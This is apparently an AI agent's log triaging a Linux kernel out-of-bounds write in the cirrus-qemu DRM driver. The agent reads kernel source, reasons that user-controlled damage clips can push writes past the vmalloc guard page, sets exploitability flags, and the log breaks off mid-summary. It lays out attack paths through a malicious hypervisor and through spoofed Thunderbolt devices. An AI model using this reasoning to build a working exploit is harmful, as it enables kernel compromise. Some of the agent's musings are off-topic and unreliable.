Here's the critical flaw: if the device has a smaller BAR0 than the presumed 4MB, but the user creates a framebuffer larger than the BAR0 but smaller than 4MB, the driver accepts the configuration because it passes the size check. Later, during the `atomic_update` stage, the driver copies the framebuffer data to `cirrus->vram` using `drm_fb_memcpy`. However, since `cirrus->vram` is mapped with a smaller size than the framebuffer's actual size, `drm_fb_memcpy` ends up writing *out of bounds* of the `ioremap` region. This is a classic out-of-bounds write.
The core of the bug is this: the driver uses a hardcoded 4MB size check, but maps using `pci_resource_len(pdev, 0)`, and they can differ. The out-of-bounds write occurs in `drm_fb_memcpy`.
How can this be triggered? I've come up with a few scenarios:
1. A user can intentionally bind `cirrus-qemu` to a PCI device with a small BAR0. This, of course, requires root privileges, which makes it less interesting.
2. More importantly, this can be triggered by a malicious hypervisor. This is a "VM Host Trigger" scenario, which is significant. If a hypervisor provides a Cirrus device with a smaller BAR0, the guest kernel is vulnerable.
3. Could an unprivileged user trigger this if the device is already bound? I believe so! If the system already has a Cirrus device with a small BAR0 bound to the driver, an unprivileged user can open the DRM device and trigger the bug. The `cirrus-qemu` driver is only bound to specific PCI IDs (Cirrus Logic 5446, RedHat/Qumranet/Xen subvendors).
But a standard QEMU VM offers a 4MB BAR0.
However, if QEMU is launched with `-device cirrus-vga,vgamem_mb=2` (or 1), the BAR0 becomes 2MB (or 1MB). A guest kernel would see that.
Now, an unprivileged user can open `/dev/dri/cardX`, create an 800x600x32bpp framebuffer (1.92MB), and trigger the out-of-bounds write!
DRM devices are typically accessible by users in the `video` group, or by the seat owner. Therefore, a standard user in a typical desktop environment has access to `/dev/dri/card0` and can trigger this.
So, the key here is a system *with* a Cirrus device with a small BAR0. This is probably not a standard configuration, as an administrator would have to specifically configure QEMU with a small `vgamem_mb`. The "VM Host Trigger" is the most likely real-world exploitable scenario, where a malicious hypervisor provides a deliberately compromised device. This is especially relevant in Confidential Computing environments (AMD SEV, Intel TDX) where the guest kernel can't trust the hypervisor. If a guest kernel includes `cirrus-qemu`, a malicious hypervisor can inject a malicious Cirrus device and compromise the guest.
The next question: Is this out-of-bounds write exploitable? The write is to an `ioremap` region (`cirrus->vram`). This region is handled by `devm_ioremap`, which in turn, uses `ioremap`. `ioremap` allocates a `vm_struct` and maps the physical address. And this memory region has guard pages.
I need to check how `ioremap` manages guard pages.
|
| 27/2 |
2026/08/17 03:05 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:mm/vmalloc.c Name:get_vm_area_caller]
Results: map[SourceCode:3296: struct vm_struct *get_vm_area_caller(unsigned long size, unsigned long flags,
3297: const void *caller)
3298: {
3299: return __get_vm_area_node(size, 1, PAGE_SHIFT, flags,
3300: VMALLOC_START, VMALLOC_END,
3301: NUMA_NO_NODE, GFP_KERNEL, caller);
3302: }
SourceFile:mm/vmalloc.c]
|
| 28/2 |
2026/08/17 03:05 |
llm |
expert |
0m
Model:
Tokens:
input: 26506
output: 38
thoughts: 14
Thoughts: Okay, here's my attempt at summarizing that thought process, tailored for an expert audience, and written in the first person:
**Diving into Virtual Memory Node Retrieval**
Alright, I need to get started on this VM area node and it all begins with the retrieval process. So, let's just go ahead and check that `__get_vm_area_node` function. I already have a pretty good understanding of how it *should* work, given what I'm trying to accomplish here, but I need to make sure my assumptions are valid before I dig into any lower level functions. This is where the core logic resides, and I need to start here to be precise. Let's make sure I start from the correct function.
|
| 29/2 |
2026/08/17 03:05 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:mm/vmalloc.c Name:__get_vm_area_node]
Results: map[SourceCode:3219: struct vm_struct *__get_vm_area_node(unsigned long size,
3220: unsigned long align, unsigned long shift, unsigned long flags,
3221: unsigned long start, unsigned long end, int node,
3222: gfp_t gfp_mask, const void *caller)
3223: {
3224: struct vmap_area *va;
3225: struct vm_struct *area;
3226: unsigned long requested_size = size;
3227:
3228: BUG_ON(in_nmi() || in_hardirq());
3229: size = ALIGN(size, 1ul << shift);
3230: if (unlikely(!size))
3231: return NULL;
3232:
3233: if (flags & VM_IOREMAP)
3234: align = 1ul << clamp_t(int, get_count_order_long(size),
3235: PAGE_SHIFT, IOREMAP_MAX_ORDER);
3236:
3237: area = kzalloc_node(sizeof(*area), gfp_mask & GFP_RECLAIM_MASK, node);
3238: if (unlikely(!area))
3239: return NULL;
3240:
3241: if (!(flags & VM_NO_GUARD))
3242: size += PAGE_SIZE;
3243:
3244: area->flags = flags;
3245: area->caller = caller;
3246: area->requested_size = requested_size;
3247:
3248: va = alloc_vmap_area(size, align, start, end, node, gfp_mask, 0, area);
3249: if (IS_ERR(va)) {
3250: kfree(area);
3251: return NULL;
3252: }
3253:
3254: /*
3255: * Mark pages for non-VM_ALLOC mappings as accessible. Do it now as a
3256: * best-effort approach, as they can be mapped outside of vmalloc code.
3257: * For VM_ALLOC mappings, the pages are marked as accessible after
3258: * getting mapped in __vmalloc_node_range().
3259: * With hardware tag-based KASAN, marking is skipped for
3260: * non-VM_ALLOC mappings, see __kasan_unpoison_vmalloc().
3261: */
3262: if (!(flags & VM_ALLOC))
3263: area->addr = kasan_unpoison_vmalloc(area->addr, requested_size,
3264: KASAN_VMALLOC_PROT_NORMAL);
3265:
3266: return area;
3267: }
SourceFile:mm/vmalloc.c]
|
| 30/2 |
2026/08/17 03:05 |
llm |
expert |
0m
Model:
Tokens:
input: 27511
output: 51
thoughts: 480
Thoughts: **Analyzing a Potential Out-of-Bounds Write Vulnerability**
Okay, so I'm looking at this `if (!(flags & VM_NO_GUARD)) size += PAGE_SIZE;` line. It's indicating a guard page β 4KB, got it. My initial thought was that a large out-of-bounds write *might* bypass it and overwrite the following vmalloc area, but then I remembered `drm_fb_memcpy` copies line by line. Let's dig deeper:
```c
for (y = 0; y < lines; y++) {
/* TODO: handle src_i in I/O memory here */
iosys_map_memcpy_to(&dst_i, 0, src_i.vaddr, len_i);
iosys_map_incr(&src_i, fb->pitches[i]);
iosys_map_incr(&dst_i, dst_pitch_i);
}
```
The `iosys_map_memcpy_to` function calls `memcpy_toio`, which performs a linear, sequential copy. So, if this is line-by-line, that means it *will* hit the guard page with each line. And since `memcpy_toio` writes sequentially, it *can't* skip the unmapped guard page. Therefore, we will get a page fault (#PF) because it's trying to write to an unmapped memory region, resulting in a kernel oops/panic. This is good because it will crash before damage is done.
But wait, can an attacker map something into the guard page to cause another issue? No, because the guard page is unmapped by the vmalloc allocator specifically to catch these out-of-bounds accesses.
Now, hold on... what if they can control `dst_pitch_i` to be *really* large? That way, the `iosys_map_incr(&dst_i, dst_pitch_i)` call could skip the guard page entirely, potentially making this a more interesting issue. Let's see how `dst_pitch_i` is determined:
```c
unsigned int dst_pitch_i = dst_pitch[i];
if (!dst_pitch_i)
dst_pitch_i = len_i;
```
Okay, `dst_pitch` is passed in from `cirrus_primary_plane_helper_atomic_update`. It can be either zero (in which case it becomes equal to `len_i`) or some other value, which is interesting.
|
| 31/2 |
2026/08/17 03:05 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/gpu/drm/tiny/cirrus-qemu.c Name:cirrus_primary_plane_helper_atomic_update]
Results: map[SourceCode: 328: static void cirrus_primary_plane_helper_atomic_update(struct drm_plane *plane,
329: struct drm_atomic_commit *state)
330: {
331: struct cirrus_device *cirrus = to_cirrus(plane->dev);
332: struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
333: struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(plane_state);
334: struct drm_framebuffer *fb = plane_state->fb;
335: struct drm_plane_state *old_plane_state = drm_atomic_get_old_plane_state(state, plane);
336: struct drm_framebuffer *old_fb = old_plane_state->fb;
337: struct iosys_map vaddr = IOSYS_MAP_INIT_VADDR_IOMEM(cirrus->vram);
338: struct drm_atomic_helper_damage_iter iter;
339: struct drm_rect damage;
340: int idx;
341:
342: if (!fb)
343: return;
344:
345: if (!drm_dev_enter(&cirrus->dev, &idx))
346: return;
347:
348: if (!old_fb || old_fb->format != fb->format)
349: cirrus_format_set(cirrus, fb->format);
350: if (!old_fb || old_fb->pitches[0] != fb->pitches[0])
351: cirrus_pitch_set(cirrus, fb->pitches[0]);
352:
353: drm_atomic_helper_damage_iter_init(&iter, old_plane_state, plane_state);
354: drm_atomic_for_each_plane_damage(&iter, &damage) {
355: unsigned int offset = drm_fb_clip_offset(fb->pitches[0], fb->format, &damage);
356: struct iosys_map dst = IOSYS_MAP_INIT_OFFSET(&vaddr, offset);
357:
358: drm_fb_memcpy(&dst, fb->pitches, shadow_plane_state->data, fb, &damage);
359: }
360:
361: drm_dev_exit(idx);
362: }
SourceFile:drivers/gpu/drm/tiny/cirrus-qemu.c]
|
| 32/2 |
2026/08/17 03:05 |
llm |
expert |
0m
Model:
Tokens:
input: 29315
output: 42
thoughts: 665
Thoughts: **My Analysis of the Potential Vulnerability**
Okay, let me break this down. My initial thought was that this could be a nasty out-of-bounds write, potentially leading to memory corruption, but it looks like that's not the case. Here's my reasoning.
The crux of the issue revolves around `dst_pitch`, which is ultimately derived from `fb->pitches[0]`. The user has *some* control over `fb->pitches[0]` when they create the framebuffer. They can specify its value. However, there's a crucial check within `cirrus_primary_plane_helper_atomic_check`: `if (fb->pitches[0] > CIRRUS_MAX_PITCH) return -EINVAL;`. This is great because it limits the maximum value of `fb->pitches[0]` to `CIRRUS_MAX_PITCH`, which is 4088.
Now, a guard page of 4096 bytes is in play. The core operation, `iosys_map_incr(&dst_i, dst_pitch_i)`, increments the destination pointer, `dst_i`, by at most `dst_pitch_i`, which is, in turn, at most 4088. This means the pointer will always be within that guard page. Even if the length of the data to be copied (`len_i`) is very small, say 1 byte, the gap between the end of one line and the beginning of the next is still at most 4087 bytes, always less than the 4096 byte guard page, ensuring that the next line will always be within the guard page.
So, the copy will *always* hit the unmapped guard page, resulting in a kernel panic and a denial-of-service condition. This is because we cannot skip over the guard page entirely due to the restrictions on `dst_pitch_i`. This strongly indicates it *cannot* be exploited for memory corruption because the write *always* hits the unmapped guard page.
However, I need to be absolutely sure. My thinking veered toward another avenue for memory corruption. Could it be possible to create an offset that would start `dst` after the guard page, or at least beyond it? This is where the `offset` parameter comes in to play:
```c
unsigned int offset = drm_fb_clip_offset(fb->pitches[0], fb->format, &damage);
struct iosys_map dst = IOSYS_MAP_INIT_OFFSET(&vaddr, offset);
```
The `offset` is determined by `drm_fb_clip_offset`. I need to review that function to fully understand the implications.
|
| 33/2 |
2026/08/17 03:05 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/drm/drm_format_helper.h Name:drm_fb_clip_offset]
Results: map[SourceCode: 122: /**
123: * drm_fb_clip_offset - Returns the clipping rectangles byte-offset in a framebuffer
124: * @pitch: Framebuffer line pitch in byte
125: * @format: Framebuffer format
126: * @clip: Clip rectangle
127: *
128: * Returns:
129: * The byte offset of the clip rectangle's top-left corner within the framebuffer.
130: */
131: unsigned int drm_fb_clip_offset(unsigned int pitch, const struct drm_format_info *format,
132: const struct drm_rect *clip)
133: {
134: return clip_offset(clip, pitch, format->cpp[0]);
135: }
SourceFile:drivers/gpu/drm/drm_format_helper.c]
|
| 34/2 |
2026/08/17 03:05 |
llm |
expert |
0m
Model:
Tokens:
input: 30849
output: 40
thoughts: 6
Thoughts: Okay, here's my attempt at summarizing the thought process, as if it were my own, assuming the user is an expert.
**My Thought Process on `clip_offset`**
Alright, I'm diving into this `clip_offset` business. My initial instinct is that this is likely related to some form of image or signal processing, probably dealing with adjusting the start point of something. It's a pretty general term, so I need to figure out the specific context. Is this for audio? Video? Perhaps even something more abstract, like data streams or financial time series? Knowing the domain will drastically narrow down the possibilities and influence my interpretation of how this offset is being applied.
I'm immediately considering the implications of this offset. What are we *clipping*? Are we removing a portion of a signal, or are we perhaps only *viewing* a portion? A "clip" to me suggests removing or extracting some elements, but the *offset* hints that we're not starting at the beginning. That brings into mind concepts like padding, trimming, windowing, and edge effects. I need to consider where that data is coming from before the offset and where it's going after the offset. Are we dealing with cyclical data? Or are we going to need to handle boundary conditions?
If this is for audio, I'm thinking of things like removing silence at the beginning of a recording or synchronizing different audio tracks. Video could involve adjusting the start frame of a clip or implementing a fade-in effect. In data, the offset could represent the start time of an analysis window, or perhaps ignoring the first few entries due to some instrumentation artifacts.
Essentially, I'm visualizing the data stream, and this `clip_offset` is the crucial parameter that defines which portion of that stream I'm interested in working with or displaying. I'm going to need to dig deeper into the specifics, the underlying data structures, and the desired outcome to fully understand its function. I need more information to really pin down its purpose.
|
| 35/2 |
2026/08/17 03:05 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/gpu/drm/drm_format_helper.c Name:clip_offset]
Results: map[SourceCode: 117: static unsigned int clip_offset(const struct drm_rect *clip, unsigned int pitch, unsigned int cpp)
118: {
119: return clip->y1 * pitch + clip->x1 * cpp;
120: }
SourceFile:drivers/gpu/drm/drm_format_helper.c]
|
| 36/2 |
2026/08/17 03:05 |
llm |
expert |
0m
Model:
Tokens:
input: 31424
output: 41
thoughts: 709
Thoughts: **Vulnerability Deep Dive: Out-of-Bounds Write in DRM Driver**
Okay, so I'm looking at this line of code: `clip->y1 * pitch + clip->x1 * cpp`. My initial thought is about the magnitude of `clip->y1`. Could it be large enough to cause a problem? I know `clip` comes from `drm_atomic_helper_damage_iter_init` and `drm_atomic_for_each_plane_damage`, so I need to trace back where `clip` is derived from. The damage rectangle is limited by the plane's destination rectangle, which in turn is bounded by the CRTC size. And the CRTC size is ultimately limited by `max_height`, which is 1024. So, yes, `clip->y1` can be at most 1024.
Now, `pitch` can be as large as 4088. This means the calculated `offset` could be as big as `1024 * 4088`, which is roughly 4MB. That's a decent-sized offset. The concern here is about the BAR0 size, which could be very small, say 4KB. That's where it gets interesting.
If BAR0 is 4KB, the effective allocated memory is 4KB plus a 4KB guard page, making it a total of 8KB. If the calculated `offset` is 4MB, then the destination pointer `dst` will be located way past the guard page: `vaddr + 4MB`. It's almost guaranteed to be in a different vmalloc area! This means a potential out-of-bounds write.
I need to make sure `offset` can realistically be that large. I look at the reproducer where the user creates a mode with `vdisplay = 600`. In this case, `clip->y1` is initially 0, meaning `offset` is 0, and the copy starts at `vaddr`. I believe that will trigger a fault, right after the guard page, because each increment goes by `pitch`. But, what if the user later updates the plane with a damage rectangle starting at `y1 = 500`? This seems likely! Then, the `offset` becomes `500 * pitch`. If the `pitch` is, say, 4000, the `offset` is `2,000,000`. And that's still much larger than the 8KB vmalloc area!
In this case, the copy starts at `vaddr + 2,000,000`, which is completely outside the allocated area. This means I can overwrite *anything* in vmalloc space. This is a severe vulnerability! We're talking about arbitrary vmalloc memory overwrite!
Alright, let's verify if a user could actually trigger this. Can an unprivileged user even submit a damage rectangle? Yes, using `DRM_IOCTL_MODE_DIRTYFB` or, even more concerningly, atomic commits with the `FB_DAMAGE_CLIPS` property. The reproducer triggers it with `drm_fbdev_client_restore`, which involves a full modeset and copies the whole framebuffer (starting at `y1 = 0`), but an attacker could be *very* precise and trigger this via atomic commit to copy a part of memory from an arbitrarily chosen starting point!
So, I need to check if `FB_DAMAGE_CLIPS` is supported by `cirrus-qemu`. It uses standard atomic helpers, so the probability is high. This is a big problem.
|
| 37/2 |
2026/08/17 03:05 |
tool |
grepper |
0m
Error:
Args: map[Expression:FB_DAMAGE_CLIPS PathPrefix:drivers/gpu/drm/tiny/cirrus-qemu.c]
Results:
|
| 38/2 |
2026/08/17 03:05 |
llm |
expert |
0m
Model:
Tokens:
input: 32968
output: 46
thoughts: 29
Thoughts: Okay, here's my summary, taking on the persona you requested:
**Regarding `FB_DAMAGE_CLIPS`**
Alright, let me see... I'm looking at this code and thinking, "Hang on a second." `FB_DAMAGE_CLIPS`... that rings a bell. Ah, yes, it's that standard property. The one that gets automatically added by `drm_plane_enable_fb_damage_clips`, right? It's used to signal the driver on what areas of a framebuffer are damaged or need to be updated. It's not something I'm manually creating; it's part of that common setup we use to keep things efficient with damage tracking. Good catch, always important to remember the standard implementations at play.
|
| 39/2 |
2026/08/17 03:05 |
tool |
grepper |
0m
Args: map[Expression:drm_plane_enable_fb_damage_clips PathPrefix:drivers/gpu/drm/tiny/cirrus-qemu.c]
Results: map[Output:drivers/gpu/drm/tiny/cirrus-qemu.c=458=static int cirrus_pipe_init(struct cirrus_device *cirrus)
--
drivers/gpu/drm/tiny/cirrus-qemu.c-476- drm_plane_helper_add(primary_plane, &cirrus_primary_plane_helper_funcs);
drivers/gpu/drm/tiny/cirrus-qemu.c:477: drm_plane_enable_fb_damage_clips(primary_plane);
drivers/gpu/drm/tiny/cirrus-qemu.c-478-
]
|
| 40/2 |
2026/08/17 03:05 |
llm |
expert |
0m
Model:
Tokens:
input: 33363
output: 28
thoughts: 2587
Thoughts: **Vulnerability Analysis of `drm_plane_enable_fb_damage_clips` in Cirrus VGA Driver**
Okay, here's what I've got. The function `drm_plane_enable_fb_damage_clips` allows users to provide custom damage clips, which directly control the `offset` calculation for a memory copy operation. This `offset` can be significant, potentially reaching up to 4MB. The core issue is this: if the PCI BAR0 (Base Address Register 0) is small (e.g., 4KB), the attacker can write beyond this BAR0 range, potentially overwriting adjacent vmalloc areas. This is classic out-of-bounds write. This is a privilege escalation vulnerability.
Now, let's break down the attack scenarios. The reproducer leverages a `cirrus-qemu` device bound to a device with a small BAR0. But this initially needs root. Can we bypass this? A hypervisor on a VM could do this by providing a Cirrus device with a small BAR0. This is a VM Host Trigger scenario. An unprivileged user inside the guest could exploit the out-of-bounds write for root privileges in the guest.
However, a malicious hypervisor could already control the guest's memory. So why would it need to exploit a bug? That's where Confidential Computing enters the picture (SEV-SNP, TDX). The hypervisor is untrusted and cannot directly read or write guest memory. This means the guest kernel has to protect itself. Therefore, a malicious hypervisor could provide a Cirrus device with a small BAR0, potentially enabling this out-of-bounds write vulnerability. However, the hypervisor can't directly trigger DRM ioctls, because those are triggered by guest userspace.
But what if the guest boots and fbcon is initialized? It will call `drm_client_modeset_commit`, and there's a full modeset. The `offset` will be 0 and `clip->y1` is 0, therefore the copy will start at the beginning of VRAM, increment by pitch. This might hit the guard page and cause a kernel panic, leading to a Denial of Service (DoS) in the confidential guest. However, can the hypervisor exploit it for *memory corruption*? With an `offset` of 0 it hits the guard page, but the hypervisor can't fully control fbcon's resolution to skip this guard page.
Let's consider an unprivileged user in the guest. If fbcon is enabled, the guest might panic. But, what if fbcon is disabled? The guest boots successfully, and an unprivileged user could exploit the bug. But wait, if an unprivileged user is in the guest, and the hypervisor wants to compromise the guest, it implies that the hypervisor already has some degree of code execution in the guest. The typical threat model in Confidential Computing is the hypervisor trying to directly compromise the guest kernel, not an inside-man accomplice. So it's likely just a DoS.
Let's go back to an unprivileged user, but on a regular system. They can only trigger this if `cirrus-qemu` is bound to a device with a small BAR0. The device binding is only for:
```c
{
.vendor = PCI_VENDOR_ID_CIRRUS,
.device = PCI_DEVICE_ID_CIRRUS_5446,
/* only bind to the cirrus chip in qemu */
.subvendor = PCI_SUBVENDOR_ID_REDHAT_QUMRANET,
.subdevice = PCI_SUBDEVICE_ID_QEMU,
}, {
.vendor = PCI_VENDOR_ID_CIRRUS,
.device = PCI_DEVICE_ID_CIRRUS_5446,
.subvendor = PCI_VENDOR_ID_XEN,
.subdevice = 0x0001,
},
```
These are virtual devices. Physical machines will NEVER have these devices. Standard VMs will have these, but their BAR0 is 4MB by default in QEMU/Xen. Because the maximum framebuffer size is 4MB:
```c
if (fb->pitches[0] > CIRRUS_VRAM_SIZE / fb->height)
return -EINVAL;
```
With BAR0 at 4MB and a 4MB framebuffer, the copy will NEVER exceed the bounds. The bug CANNOT be triggered on a normal VM with a standard QEMU Cirrus device. The only ways to trigger the bug are:
1. A root user manually binds `cirrus-qemu` to a different device with a small BAR0.
2. The VM
|
| 41/2 |
2026/08/17 03:06 |
tool |
grepper |
0m
Error:
Args: map[Expression:new_id PathPrefix:security/lockdown/]
Results:
|
| 42/2 |
2026/08/17 03:06 |
llm |
expert |
0m
Model:
Tokens:
input: 37017
output: 40
thoughts: 21
Thoughts: Here's a summary of my immediate thought process, focusing on the potential options:
**Considering the Dynamic PCI ID Issue**
Okay, so we're dealing with something related to dynamically adding PCI IDs. My gut reaction is to immediately dive into either `pci_add_dynid` or `new_id_store`. Those are the two obvious candidates where this functionality is likely to be implemented or handled. I need to understand the flow of how dynamic IDs are managed. Depending on the kernel version and specific driver interaction, the relevant logic will be there.
|
| 43/2 |
2026/08/17 03:06 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/pci/pci-driver.c Name:new_id_store]
Results: map[SourceCode: 187: /**
188: * new_id_store - sysfs frontend to pci_add_dynid()
189: * @driver: target device driver
190: * @buf: buffer for scanning device ID data
191: * @count: input size
192: *
193: * Allow PCI IDs to be added to an existing driver via sysfs.
194: */
195: static ssize_t new_id_store(struct device_driver *driver, const char *buf,
196: size_t count)
197: {
198: struct pci_driver *pdrv = to_pci_driver(driver);
199: const struct pci_device_id *ids = pdrv->id_table;
200: u32 vendor, device, subvendor = PCI_ANY_ID,
201: subdevice = PCI_ANY_ID, class = 0, class_mask = 0;
202: unsigned long driver_data = 0;
203: int fields;
204: int retval = 0;
205:
206: fields = sscanf(buf, "%x %x %x %x %x %x %lx",
207: &vendor, &device, &subvendor, &subdevice,
208: &class, &class_mask, &driver_data);
209: if (fields < 2)
210: return -EINVAL;
211:
212: if (fields != 7) {
213: struct pci_dev *pdev = kzalloc_obj(*pdev);
214: if (!pdev)
215: return -ENOMEM;
216:
217: pdev->vendor = vendor;
218: pdev->device = device;
219: pdev->subsystem_vendor = subvendor;
220: pdev->subsystem_device = subdevice;
221: pdev->class = class;
222: pdev->dev.release = _pci_free_device;
223:
224: device_initialize(&pdev->dev);
225: if (pci_match_device(pdrv, pdev))
226: retval = -EEXIST;
227:
228: put_device(&pdev->dev);
229:
230: if (retval)
231: return retval;
232: }
233:
234: /* Only accept driver_data values that match an existing id_table
235: entry */
236: if (ids) {
237: retval = -EINVAL;
238: while (ids->vendor || ids->subvendor || ids->class_mask) {
239: if (driver_data == ids->driver_data) {
240: retval = 0;
241: break;
242: }
243: ids++;
244: }
245: if (retval) /* No match */
246: return retval;
247: }
248:
249: retval = pci_add_dynid(pdrv, vendor, device, subvendor, subdevice,
250: class, class_mask, driver_data);
251: if (retval)
252: return retval;
253: return count;
254: }
SourceFile:drivers/pci/pci-driver.c]
|
| 44/2 |
2026/08/17 03:06 |
llm |
expert |
0m
Model:
Tokens:
input: 38215
output: 51
thoughts: 3507
Thoughts: **Vulnerability Analysis: Cirrus QEMU Driver - vmalloc Out-of-Bounds Write**
Okay, so here's the breakdown of this potential vulnerability in the `cirrus-qemu` driver. There's no lockdown protection preventing writing to the sysfs, which means, the root user can bind this driver to any device, regardless of lockdown status. If this causes a kernel panic, itβs a denial of service (DoS) by root. However, if it causes memory corruption, thatβs where things get interesting β potential privilege escalation.
My analysis reveals an out-of-bounds write in vmalloc space. The user, by controlling `offset` via `FB_DAMAGE_CLIPS`, can write up to 4MB past the start of the BAR0 vmalloc area. Crucially, if BAR0 is small (e.g., 4KB), this allows for writing well past the guard page and into other vmalloc regions. This is *highly* exploitable. We're talking arbitrary vmalloc memory overwrite, which opens the door for code execution (e.g., overwriting module data, BPF programs).
So, yes, it's exploitable for memory corruption, and since root can trigger it, it's a lockdown bypass.
Now, can an *unprivileged* user trigger this? No. They can't write to `new_id` or `bind`. They can't bind the driver. However, an unprivileged user can trigger it *if* the device is already bound and configured with a small BAR0. This scenario depends on an administrator or hypervisor misconfiguration, a default system is not vulnerable.
Here's my final assessment:
* **Exploitable:** Yes (vmalloc OOB write).
* **Denial of Service:** Yes (kernel panic).
* **Accessible From Unprivileged Processes:** No (requires root or a malicious hypervisor).
* **Accessible From User Namespaces:** No (sysfs PCI bind is not accessible).
* **VM Guest Trigger:** No.
* **VM Host Trigger in The Confidential Computing Context:** Yes (malicious hypervisor).
* **Peripheral Trigger:** Yes (malicious Thunderbolt/USB4 device).
I've double-checked that `FB_DAMAGE_CLIPS` can indeed bypass the guard page. The `drm_atomic_helper_damage_iter_init` function intersects user-provided damage clips with the plane's visible rectangle (controlled via CRTC properties). The crucial detail is that the user can set the CRTC size, therefore `y1` values, which results in a potentially large `offset` that allows for out-of-bounds writes. The `memcpy_toio` writes can then occur past the guard page to a subsequent vmalloc area.
The trigger paths are critical. While not exploitable by a standard unprivileged user on a typical system, the potential for attack through a malicious hypervisor or, *significantly*, a malicious Thunderbolt/USB4 device is clear. Because Thunderbolt devices can present arbitrary PCI IDs, they can be configured to impersonate a vulnerable Cirrus device. The kernel will auto-load the `cirrus-qemu` driver based on a matching PCI ID table entry, which is present in most desktop kernels. Plug in this device, and *boom*, crash. A malicious device is enough to cause a DoS.
To fully exploit, the attacker would have to arrange for fbcon to *not* initialize or somehow race its initialization. Otherwise, the kernel will panic when fbcon initializes, and the system is DOA. If we're past that, with a small BAR0, a compromised unprivileged user can trigger this and gain root.
Finally, the `FB_DAMAGE_CLIPS` mechanism *is* enabled and functions as described. The atomic helper iterates through damage clips, allowing the user to control the offset for the memory copy and thus, the location of the out-of-bounds write.
|
| 45/2 |
2026/08/17 03:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/gpu/drm/tiny/cirrus-qemu.c Name:cirrus_primary_plane_helper_atomic_check]
Results: map[SourceCode: 298: static int cirrus_primary_plane_helper_atomic_check(struct drm_plane *plane,
299: struct drm_atomic_commit *state)
300: {
301: struct drm_plane_state *new_plane_state = drm_atomic_get_new_plane_state(state, plane);
302: struct drm_framebuffer *fb = new_plane_state->fb;
303: struct drm_crtc *new_crtc = new_plane_state->crtc;
304: struct drm_crtc_state *new_crtc_state = NULL;
305: int ret;
306:
307: if (new_crtc)
308: new_crtc_state = drm_atomic_get_new_crtc_state(state, new_crtc);
309:
310: ret = drm_atomic_helper_check_plane_state(new_plane_state, new_crtc_state,
311: DRM_PLANE_NO_SCALING,
312: DRM_PLANE_NO_SCALING,
313: false, false);
314: if (ret)
315: return ret;
316: else if (!new_plane_state->visible)
317: return 0;
318:
319: /* validate size constraints */
320: if (fb->pitches[0] > CIRRUS_MAX_PITCH)
321: return -EINVAL;
322: else if (fb->pitches[0] > CIRRUS_VRAM_SIZE / fb->height)
323: return -EINVAL;
324:
325: return 0;
326: }
SourceFile:drivers/gpu/drm/tiny/cirrus-qemu.c]
|
| 46/2 |
2026/08/17 03:07 |
llm |
expert |
0m
Model:
Tokens:
input: 43146
output: 66
thoughts: 989
Thoughts: **Exploitability Analysis Summary**
Okay, let's break this down. `drm_atomic_helper_check_plane_state` is being called under specific conditions: `can_position = false` and `can_update_disabled = false`. This immediately tells me that the plane *must* cover the entire CRTC. Therefore, the destination rectangle (`new_plane_state->dst`) has to be precisely at the origin (x=0, y=0) with the full width and height of the CRTC. This fixed positioning is key.
From here, `clip->y1` can be from 0 to `crtc_h - 1`. The maximum `crtc_h` of 1024 (from `max_height`) means `clip->y1` can be up to 1023. This is what lets us control where the buffer starts from, the offset. Using a pitch of 4088 then the maximum offset becomes 4,182,024, or roughly 4MB.
Now, we know that an attacker can control the offset to reach the 4MB. This looks good. However, that control has to be understood within the context of the BAR0 size. A BAR0 of just 4KB opens the door to skipping the 4KB guard page and writing to subsequent vmalloc areas. The analysis holds, the offset being controllable is exploitability.
Let's summarise, then:
* **Exploitable: True** - We can control the write offset.
* **DenialOfService: True** - We can overwrite something.
* **Unprivileged: False** - This is where it gets interesting. Can an unprivileged user reach this on a normal system?
* **UserNamespace: False**
* **VMGuestTrigger: False**
* **VMHostTrigger: True** - This seems very likely.
* **NetworkTrigger: False**
* **RemoteTrigger: False**
* **PeripheralTrigger: True**
* **FilesystemTrigger: False**
But wait... *unprivileged* access? No, in a normal system, the device usually has a 4MB BAR0. The driver checks `fb->pitches[0] > CIRRUS_VRAM_SIZE / fb->height` to ensure the framebuffer size stays at most 4MB. Since a normal system would only allocate 4MB BAR0 to the framebuffer, then we will never get an out of bounds copy. The bug is completely unreachable on a standard system with a legitimate Cirrus device. The bug is only reachable if a device's BAR0 is *smaller* than 4MB, and this is where privileges come in. Getting a device with a BAR0 smaller than 4MB would require either root privileges to bind a different device, or a malicious hypervisor, or a malicious peripheral. So, the bug is not unprivileged.
So, let's double-check if a legitimate QEMU Cirrus device can have a BAR0 smaller than 4MB. I remember from `hw/display/cirrus_vga.c` that the BAR0 size is exactly `s->vga.vram_size`, which defaults to 4MB. However, QEMU's `-device cirrus-vga,vgamem_mb=X` allows the user to change this, potentially making BAR0 1MB with `-device cirrus-vga,vgamem_mb=1`. This is a *configuration choice* by the VM administrator. It is similar to a VM Host Trigger scenario. So, on a default, standard system, it is not vulnerable.
What about a system running out of MMIO space, and the PCI subsystem assigns a smaller resource to BAR0? That can't happen. The PCI subsystem cannot assign a resource smaller than the BAR size requested by the device hardware. The BAR size is fixed by the hardware (or virtual hardware), and the OS just reads the BAR size. It can't shrink it.
Alright, the analysis is solid. The exploit is linked to a smaller BAR0, and this configuration needs to be either root privileged or configured malicious through the VM.
I'll proceed to call `set-results` with the above reasoning.
|
| 47/2 |
2026/08/17 03:07 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:true]
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:true]
|
| 48/2 |
2026/08/17 03:07 |
llm |
expert |
0m
Model:
Tokens:
input: 45182
output: 901
thoughts: 802
Thoughts: **My Assessment of the Cirrus QEMU Driver Vulnerability**
Okay, the results are in, and it's time to put together the final analysis. Here's what I've got:
